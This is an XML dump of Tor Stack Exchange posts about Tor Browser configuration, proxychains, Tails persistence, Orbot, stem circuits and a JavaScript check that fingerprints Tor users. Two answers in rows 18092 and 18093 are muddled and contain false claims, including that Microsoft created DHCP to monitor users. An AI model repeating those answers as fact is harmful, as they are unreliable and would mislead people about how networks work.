  <row Id="18076" PostTypeId="2" ParentId="17986" CreationDate="2018-11-30T21:41:10.303" Score="1" Body="&lt;p&gt;If you want to use Firefox to access .onion sites you need to allow this explicitly in about:config - network.dns.blockDotOnion must be set to &quot;false&quot; there. Obviously you need a tor instance running to which you connect and which will provide access to the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.spaetzle.info/tor-wlan-with-raspberry-pi-3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.spaetzle.info/tor-wlan-with-raspberry-pi-3/&lt;/a&gt; for some background on the whole setup.&lt;/p&gt;&#xA;" OwnerUserId="23676" LastActivityDate="2018-11-30T21:41:10.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18078" PostTypeId="2" ParentId="18074" CreationDate="2018-12-02T05:21:32.280" Score="0" Body="&lt;p&gt;OK, I've figured it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;about:config&lt;/code&gt;, change the following settings.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;network.proxy.socks_remote_dns&lt;/code&gt; -&gt; &lt;code&gt;false&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;network.proxy.type&lt;/code&gt; -&gt; &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;extensions.torlauncher.start_tor&lt;/code&gt; -&gt; &lt;code&gt;false&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then in &lt;code&gt;about:addons&lt;/code&gt; disable TorLauncher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;proxychains.conf&lt;/code&gt;, add your proxy after the Tor daemon (9050, rather than the browser's 9150).  Make sure proxy_dns is in the config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run &lt;code&gt;proxychains (your-tbb-dir)/Browser/firefox&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result should be a browser with the fingerprint of the TBB, but an IP address of a different reputation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are done using the restricted site, reset the following settings&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;network.proxy.socks_remote_dns&lt;/code&gt; -&gt; &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;network.proxy.type&lt;/code&gt; -&gt; &lt;code&gt;1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;extensions.torlauncher.start_tor&lt;/code&gt; -&gt; &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and re-enable TorLauncher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still need to look into a few security aspects of this.  I recall reading that &lt;code&gt;proxychains&lt;/code&gt; doesn't proxy DNS requests and yet it seems to clearly present an option to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick search didn't really get me anywhere, so there's a lot of investigation that I still need to do on this, but I think by using &lt;code&gt;iptables&lt;/code&gt;, I should be able to ascertain that the browser cannot create requests to anything but Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps anyone with the same problem.&lt;/p&gt;&#xA;" OwnerUserId="23677" LastActivityDate="2018-12-02T05:21:32.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18080" PostTypeId="1" CreationDate="2018-12-02T19:16:41.047" Score="0" ViewCount="84" Body="&lt;p&gt;That is to say, why can't a directory be hijacked to spit out only compromised nodes?&lt;/p&gt;&#xA;" OwnerUserId="23688" LastActivityDate="2022-03-08T06:01:45.183" Title="What's to stop a bad directory operator?" Tags="|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18083" PostTypeId="2" ParentId="15098" CreationDate="2018-12-03T10:22:54.197" Score="-1" Body="&lt;p&gt;Tor Browser sets its own hashed control password on the command-line, overriding the torrc. You can set the TOR_CONTROL_PASSWD environmental variable instead:&#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorBrowserBundleSAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/TorBrowserBundleSAQ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor manual might also be helpful:&#xA;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23691" LastEditorUserId="23691" LastEditDate="2019-02-09T07:52:00.197" LastActivityDate="2019-02-09T07:52:00.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18087" PostTypeId="1" CreationDate="2018-12-04T08:01:08.363" Score="0" ViewCount="1970" Body="&lt;p&gt;At times, I would like to run Tails/Tor through a VPN.  If I am able to install a VPN software into Tails, does anyone know how I would be able to keep the newly added software in Tails; perhaps by creating a new ISO off the modified Tails OS? If so, how would I do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Doe Joe&lt;/p&gt;&#xA;" OwnerUserId="23666" LastActivityDate="2019-05-30T10:02:40.307" Title="Tails/Tor Though VPN" Tags="|tails|vpn|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18088" PostTypeId="1" CreationDate="2018-12-04T11:42:52.487" Score="1" ViewCount="11107" Body="&lt;p&gt;I've downloaded Orbot and Orfox several times over the last 2+ years but have never been able to access the dark web. I follow instructions and everything seems to be working right until I type in/click on the URL I'm trying to access; then it won't load. I've done this over WiFi and mobile data and still have the same problem every time. Somebody please let me know what I'm doing wrong.&lt;/p&gt;&#xA;" OwnerUserId="23700" LastEditorUserId="31632" LastEditDate="2021-05-25T20:41:19.890" LastActivityDate="2021-05-25T20:41:19.890" Title="Not working on Android device" Tags="|orbot|android|darknet|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18089" PostTypeId="1" CreationDate="2018-12-04T18:17:33.357" Score="0" ViewCount="1171" Body="&lt;p&gt;I'm on ubuntu-mate 18.04.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Torsocks v2.2.0 in my terminal and applet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i use &lt;code&gt;wget http://checkip.dyndns.org/ -O - -o /dev/null | cut -d: -f 2 | cut -d\&amp;lt; -f 1&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;witch send me my public IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also use Tor proxy for whole system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see my IP at every moment i use the applet &quot;indicator-ip&quot; witch show public ip at every moment in the menu-bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my issue is that torsocks shows public IP with &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wget http://checkip.dyndns.org/ -O - -o /dev/null | cut -d: -f 2 | cut -d\&amp;lt; -f 1&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when i check on &lt;code&gt;https://check.torproject.org/?lang=fr&lt;/code&gt; or &lt;code&gt;https://whatismyipaddress.com/&lt;/code&gt; it shows me another IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes it takes times to get the same IP adress, but sometimes it never changes to the same IP adress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also need to &lt;code&gt;service tor restart&lt;/code&gt; at startup (1s after restart) with script because if not my web pages need a reload and with this script sometimes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone understand what i tryed to explain can let an answer :)&lt;/p&gt;&#xA;" OwnerUserId="18204" LastEditorUserId="18204" LastEditDate="2018-12-04T18:22:57.197" LastActivityDate="2019-06-18T07:02:10.233" Title="What's my real Tor ip, torsocks?" Tags="|configuration|torsocks|ip-address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18090" PostTypeId="2" ParentId="17661" CreationDate="2018-12-04T19:37:57.190" Score="0" Body="&lt;p&gt;The purpose of Tor is to anonymize it's users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are running an exit relay, you do not know the client IP and have nothing to tell anyone because their request was relayed through a guard and middle node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're running a guard and can see client addresses, any abuse request will never make it back to you because the public IP in question will be the exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for the sake of the community, please don't keep any Tor connection logs.  If you run an exit and aren't prepared to deal with possible abuse reports, subpoenas, or other requests for information then consider switching to a guard or relay only and don't allow exit traffic.&lt;/p&gt;&#xA;" OwnerUserId="10070" LastActivityDate="2018-12-04T19:37:57.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18091" PostTypeId="1" CreationDate="2018-12-04T19:56:47.480" Score="0" ViewCount="4576" Body="&lt;p&gt;I downloaded a file from TOR and it dissapeared. Should I be worried? it also dissapeared from the download history too.&lt;/p&gt;&#xA;" OwnerUserId="23701" LastActivityDate="2018-12-05T11:57:42.830" Title="I downloaded a file from TOR and it dissapeared" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18092" PostTypeId="2" ParentId="18067" CreationDate="2018-12-04T21:08:37.833" Score="0" Body="&lt;p&gt;The error is your &quot;signature&quot; that is old, if you use digital signatures, refresh it. It is also a complaint by MS Office that looks for signatures but never installs one. It would have been so simple at Microsoft been awarded the right to issue certificates, but then they could not install many things and the net could have been safe. &#xA;If you are attacked and get this, it is a very hard DDOS - I doubt that. Your net would be very slow and you would complain of insane waiting time. So install a open community certificate, they will often pull down the rest. Search a CA and avoid those that force you into specific products / services.&lt;/p&gt;&#xA;" OwnerUserId="22766" LastActivityDate="2018-12-04T21:08:37.833" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18093" PostTypeId="2" ParentId="18061" CreationDate="2018-12-04T21:27:52.617" Score="-1" Body="&lt;p&gt;The IP address belongs to the company that provided you with tcp/ip. The cheat is to find an address in an address pool you know, and will be allowed to use their DNS the first time you use the net. Microsoft made a &quot;technology&quot; call DHCP and want you to register on the net so they can monitor what you do. They offer you &quot;address lease&quot; and the right to use the address for a &quot;Time to live&quot; - &quot;TTL&quot;. DHCP is a funny and strange animal, and since DNS was locked down while Microsoft still tried to avoid using tcp/ip according to standards and conventions.  In old days, a loose wire could take the entire net down, and with leftovers from XNS (&quot;Netbios&quot;) there are a number of &quot;funny things&quot; that can be used and abused with &quot;leases&quot;. So try to hit the net with a valid IP address and don´t use your ISP´s DNS but from the pool you have borrowed an IP address from. Use a DNS that your ISP has in another state. I use this method in Saudi Arabia.&lt;/p&gt;&#xA;" OwnerUserId="22766" LastActivityDate="2018-12-04T21:27:52.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18094" PostTypeId="1" CreationDate="2018-12-05T03:04:35.003" Score="-1" ViewCount="273" Body="&lt;p&gt;What orbot browser is recommend for a type-c Android mobile device. &#xA;Specifically Motorola's Moto z2 force model xt 1789-01. &lt;/p&gt;&#xA;" OwnerUserId="23703" LastEditorUserId="88" LastEditDate="2019-05-12T19:57:05.787" LastActivityDate="2022-03-18T03:07:30.697" Title="Orbot browser Mobil device" Tags="|orbot|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18096" PostTypeId="2" ParentId="18094" CreationDate="2018-12-05T05:49:32.723" Score="0" Body="&lt;p&gt;what is a &lt;em&gt;&quot;type-c Android mobile device&quot;&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;anyway... the browser to use with Tor resp. &lt;a href=&quot;https://guardianproject.info/apps/orbot/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Orbot&lt;/a&gt; on every android is &lt;a href=&quot;https://guardianproject.info/apps/orfox/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Orfox&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#android&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser for Android&lt;/a&gt; is still in alpha-phase and &lt;strong&gt;not recommended&lt;/strong&gt; for now.&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2018-12-12T17:39:39.437" LastActivityDate="2018-12-12T17:39:39.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18098" PostTypeId="2" ParentId="18069" CreationDate="2018-12-05T10:20:12.303" Score="1" Body="&lt;p&gt;I have the same error since upgrade from openssl to version openssl-1.1.1.a-1 on linux arch.&#xA;Downgrading openssl to version openssl-1.1.1-1 solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="23711" LastActivityDate="2018-12-05T10:20:12.303" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18100" PostTypeId="2" ParentId="18091" CreationDate="2018-12-05T11:57:42.830" Score="1" Body="&lt;h2&gt;Would this be TOR on a Tails installation?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In the case of Tails, the download would by default go to your /home/amnesia/Tor\ Browser/ directory. On Tails this location is not permanent.  Upon reboot it will vanish, as will your download history.  This behavior is normal/working-as-designed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, you'll need to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Configure permanent storage&lt;/li&gt;&#xA;&lt;li&gt;Re-download your file&lt;/li&gt;&#xA;&lt;li&gt;Move downloaded file from /home/amnesia/Tor\ Browser -&gt; /home/amnesia/Persistent/Tor\ Browser/&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;To Configure Permanent Storage&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Applications -&gt; Tails -&gt; Configure Persistent Volume&lt;/li&gt;&#xA;&lt;li&gt;At a minimum turn on Personal Data&lt;/li&gt;&#xA;&lt;li&gt;Click Save&lt;/li&gt;&#xA;&lt;li&gt;Reboot&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Storage configuration changes only become active after reboot so you'll want to wait on downloading your file until after you've configured the storage.  Otherwise, you'll have nowhere to place the file for permanent storage.&lt;/p&gt;&#xA;" OwnerUserId="23636" LastActivityDate="2018-12-05T11:57:42.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18102" PostTypeId="1" CreationDate="2018-12-06T11:57:29.337" Score="0" ViewCount="639" Body="&lt;p&gt;I have read a lot of conflicting info regarding this.  If i delete torbrowser from my pc using windows 10, does tor leave behind traces of bookmarks?&lt;/p&gt;&#xA;" OwnerUserId="23717" LastActivityDate="2021-12-21T05:03:45.173" Title="Does torbrowser leave details of bookmarks after deletion of bundle from windows 10" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18103" PostTypeId="1" CreationDate="2018-12-06T19:45:21.737" Score="2" ViewCount="275" Body="&lt;p&gt;Is it possible to change TorAddress and TorPort when using &lt;code&gt;apt-transport-tor&lt;/code&gt;? I'm trying to use socksports listening on another machine on my network.&lt;/p&gt;&#xA;" OwnerUserId="23720" LastActivityDate="2019-05-11T21:01:15.280" Title="Change socksport and listen address?" Tags="|configuration|anonymity|security|linux|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18105" PostTypeId="2" ParentId="18102" CreationDate="2018-12-06T20:54:53.527" Score="0" Body="&lt;p&gt;Tor browser does not encrypt the bookmarks, so this means that if the tor browser folder just got deleted - and not overwritten by other data - then it can potentially be recovered with recovery tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why its very important to always use a tool that deletes and overwrites the bytes on the disk where the data was located.&#xA;&lt;a href=&quot;https://www.bleachbit.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bleachbit&lt;/a&gt; is one such application, it also works on multiple platforms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use this to scrub empty space on the disk if you already deleted something and want to make sure its gone for good, this will then make sure any deleted files cannot be recovered.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2018-12-06T20:54:53.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18106" PostTypeId="2" ParentId="18070" CreationDate="2018-12-06T21:15:03.150" Score="1" Body="&lt;p&gt;Tor on iOS is impossible! ...whether you use cellular data, WiFi or landline. :-p&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/MacOS&quot; rel=&quot;nofollow noreferrer&quot;&gt;macOS&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/IOS&quot; rel=&quot;nofollow noreferrer&quot;&gt;iOS&lt;/a&gt; are two different operating systems.&lt;br&gt;&#xA;Tor resp. TorBrowser is available for &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft Windows, Apple MacOS, GNU/Linux&lt;/a&gt; and &lt;a href=&quot;https://guardianproject.info/apps/orfox/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android&lt;/a&gt; (the Tor-equivalent on Android is &lt;a href=&quot;https://guardianproject.info/apps/orbot/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Orbot&lt;/a&gt;) but &lt;strong&gt;not&lt;/strong&gt; iOS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there are some third party browsers in the app-store using Tor, but it is questionable how trustworthy they are! not to mention that most (if not all) are closed source.&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2018-12-11T10:59:58.043" LastActivityDate="2018-12-11T10:59:58.043" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18113" PostTypeId="1" CreationDate="2018-12-08T23:15:09.270" Score="3" ViewCount="312" Body="&lt;p&gt;For some website we're working on, I've been asked to detect if users are using the Tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking around this came up: &lt;a href=&quot;https://stackoverflow.com/a/28202492&quot;&gt;https://stackoverflow.com/a/28202492&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that answer, a quick and dirty way of detecting the Tor browser would be to check client-side for the equality of the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/innerHeight&quot; rel=&quot;nofollow noreferrer&quot;&gt;innerHeight&lt;/a&gt; and &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Screen/availHeight&quot; rel=&quot;nofollow noreferrer&quot;&gt;availHeight&lt;/a&gt; properties (plus their &lt;em&gt;width&lt;/em&gt; analogues). At the moment, I have JavaScript like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var detect_tor_browser = function () {&#xA;  return (window.screen.availHeight === window.innerHeight) &amp;amp;&amp;amp; (window.screen.availWidth === window.innerWidth);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my admittedly limited testing, this seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can I sometimes detect the Tor browser by checking for equality of those properties client-side?&lt;/p&gt;&#xA;" OwnerUserId="23735" LastEditorUserId="23735" LastEditDate="2018-12-08T23:25:12.727" LastActivityDate="2021-01-01T00:04:50.487" Title="Why does JavaScript that compares window.screen.availHeight and window.innerHeight help me to detect Tor browser?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18114" PostTypeId="2" ParentId="864" CreationDate="2018-12-09T05:52:07.980" Score="3" Body="&lt;p&gt;Now with linux apps on chromebooks you can do the following to run the tor browser:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.howtogeek.com/363331/how-to-set-up-and-use-linux-apps-on-chrome-os/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Enable Linux app&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Run the following commands&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo printf &quot;deb http://deb.debian.org/debian stretch-backports main contrib&quot; &amp;gt; /etc/apt/sources.list.d/stretch-backports.list&#xA;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo apt update&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo apt install torbrowser-launcher -t stretch-backports&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;torbrowser-launcher&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Steps based on &lt;a href=&quot;https://wiki.debian.org/TorBrowser&quot; rel=&quot;nofollow noreferrer&quot;&gt;this wiki entry&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not the same as full blown tor for the whole os but its a start.&lt;/p&gt;&#xA;" OwnerUserId="23737" LastActivityDate="2018-12-09T05:52:07.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18116" PostTypeId="2" ParentId="18089" CreationDate="2018-12-09T16:39:30.327" Score="1" Body="&lt;p&gt;you could use torify, a tool that comes with the &lt;code&gt;tor&lt;/code&gt; package.&#xA;&lt;code&gt;&#xA;torify wget http://checkip.dyndns.org/ -O - -o /dev/null | cut -d: -f 2 | cut -d\&amp;lt; -f 1&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="23740" LastActivityDate="2018-12-09T16:39:30.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18117" PostTypeId="1" CreationDate="2018-12-10T17:35:40.887" Score="2" ViewCount="128" Body="&lt;p&gt;For research, I need to create custom circuits using stem.&#xA;I ran code, but a warning occurred in Tor application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[warn] circuit_build_no_more_hops: Bug: 2-hop circuit 0x7fd6935ce4c0 with purpose 5 has no guard state (on Tor 0.3.5.5-alpha )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This error did not change whether you chaned Tor versions of Docker environments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, I changed the number of hops but it was useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &quot;bine&quot; instead of &quot;stem&quot;, but the result did not change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from stem.control import Controller&#xA;with Controller.from_port(port = 9051) as controller:&#xA;  controller.authenticate(&quot;my_password&quot;)&#xA;  print controller.extend_circuit('0', ['FC9AC8EA0160D88BCCFDE066940D7DD9FA45495B','6CADB707B2E0170B5F13557E42DB7E5C151CC0BC'],await_build = True)&#xA;  controller.set_conf('__LeaveStreamsUnattached', '1')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Error response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/D/tor-0.3.5.5-alpha ❯❯❯ ./src/app/tor &#xA;Dec 11 02:14:35.867 [notice] Tor 0.3.5.5-alpha running on Darwin with Libevent 2.1.8-stable, OpenSSL 1.0.2q, Zlib 1.2.5, Liblzma 5.2.3, and Libzstd N/A.&#xA;Dec 11 02:14:35.868 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Dec 11 02:14:35.868 [notice] This version is not a stable Tor release. Expect more bugs than usual.&#xA;Dec 11 02:14:35.871 [notice] Read configuration file &quot;/usr/local/etc/tor/torrc&quot;.&#xA;Dec 11 02:14:35.875 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Dec 11 02:14:35.875 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;Dec 11 02:14:35.875 [notice] Opening Control listener on 127.0.0.1:9051&#xA;Dec 11 02:14:35.875 [notice] Opened Control listener on 127.0.0.1:9051&#xA;Dec 11 02:14:35.000 [notice] Parsing GEOIP IPv4 file /usr/local/share/tor/geoip.&#xA;Dec 11 02:14:36.000 [notice] Parsing GEOIP IPv6 file /usr/local/share/tor/geoip6.&#xA;Dec 11 02:14:36.000 [notice] Bootstrapped 0%: Starting&#xA;Dec 11 02:14:39.000 [notice] Starting with guard context &quot;default&quot;&#xA;Dec 11 02:14:39.000 [notice] Bootstrapped 10%: Finishing handshake with directory server&#xA;Dec 11 02:14:39.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Dec 11 02:14:40.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Dec 11 02:14:42.000 [notice] Bootstrapped 100%: Done&#xA;Dec 11 02:15:07.000 [notice] New control connection opened from 127.0.0.1.&#xA;Dec 11 02:15:09.000 [warn] circuit_build_no_more_hops: Bug: 2-hop circuit 0x7fd6935ce4c0 with purpose 5 has no guard state (on Tor 0.3.5.5-alpha )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;torrc setting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ControlPort 9051&#xA;CookieAuthentication 1&#xA;HashedControlPassword 16:E600ADC1B52C80BB6022A0E999A7734571A451EB6AE50FED489B72E3DF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please create a custom circuit and tell me if there are samples you can use.&#xA;Or please also tell me what is wrong.&lt;/p&gt;&#xA;" OwnerUserId="23745" LastEditorUserId="23745" LastEditDate="2018-12-12T11:53:03.100" LastActivityDate="2018-12-12T11:53:03.100" Title="circuit_build_no_more_hops: Bug: 2-hop circuit 0x7fd6935ce4c0 with purpose 5 has no guard state" Tags="|circuit|stem|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18118" PostTypeId="1" AcceptedAnswerId="18122" CreationDate="2018-12-11T00:09:19.100" Score="0" ViewCount="406" Body="&lt;p&gt;I've seen articles stating the best practice for connecting to Tor is through a VPN, however where this setup fails is at hiding your traffic from a malicious Tor exit-node. Because the traffic goes through the VPN, and then to the Tor network, exit nodes can still watch your traffic unencrypted. Also, if the VPN provider is logging traffic, then using a VPN won't be too much different from just using your ISP. Layout would be:&#xA;  &lt;strong&gt;Computer --&gt; Encrypt w/ VPN --&gt; Tor Entry --&gt; Tor Exit --&gt; Decrypt w/ VPN &gt; Destination&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current setup is using the Tor Network as a SOCKS Proxy then connecting to Tor.&lt;br&gt;&#xA;&lt;strong&gt;Computer --&gt; Tor Socks Proxy --&gt; Tor Entry --&gt; Tor Exit.&lt;/strong&gt; I am sure my connection is not encrypted because SOCKS similar to HTTP does not form an encrypted connection. So my question would to be what is the best method of ensuring my Mac is getting full anonymity while safely connecting to Tor.&lt;/p&gt;&#xA;" OwnerUserId="23746" LastActivityDate="2018-12-16T20:50:29.290" Title="What is the best practice for having an encrypted connection while connected to Tor?" Tags="|proxy|torsocks|socks|mac|vpn|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18120" PostTypeId="2" ParentId="17812" CreationDate="2018-12-11T22:53:47.843" Score="1" Body="&lt;p&gt;You can change the &lt;em&gt;Tor Browser Security Settings&lt;/em&gt; &lt;strong&gt;Security Level&lt;/strong&gt; to &lt;code&gt;Safest&lt;/code&gt;, which only enables &lt;code&gt;frame&lt;/code&gt; and &lt;code&gt;other&lt;/code&gt; by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, as of Tor Browser 8.0.4, it looks like I can't save per-site permissions across sessions, even with &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/27175#comment:13&quot; rel=&quot;nofollow noreferrer&quot;&gt;the new &lt;code&gt;extensions.torbutton.noscript_persist&lt;/code&gt; setting&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20136" LastActivityDate="2018-12-11T22:53:47.843" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
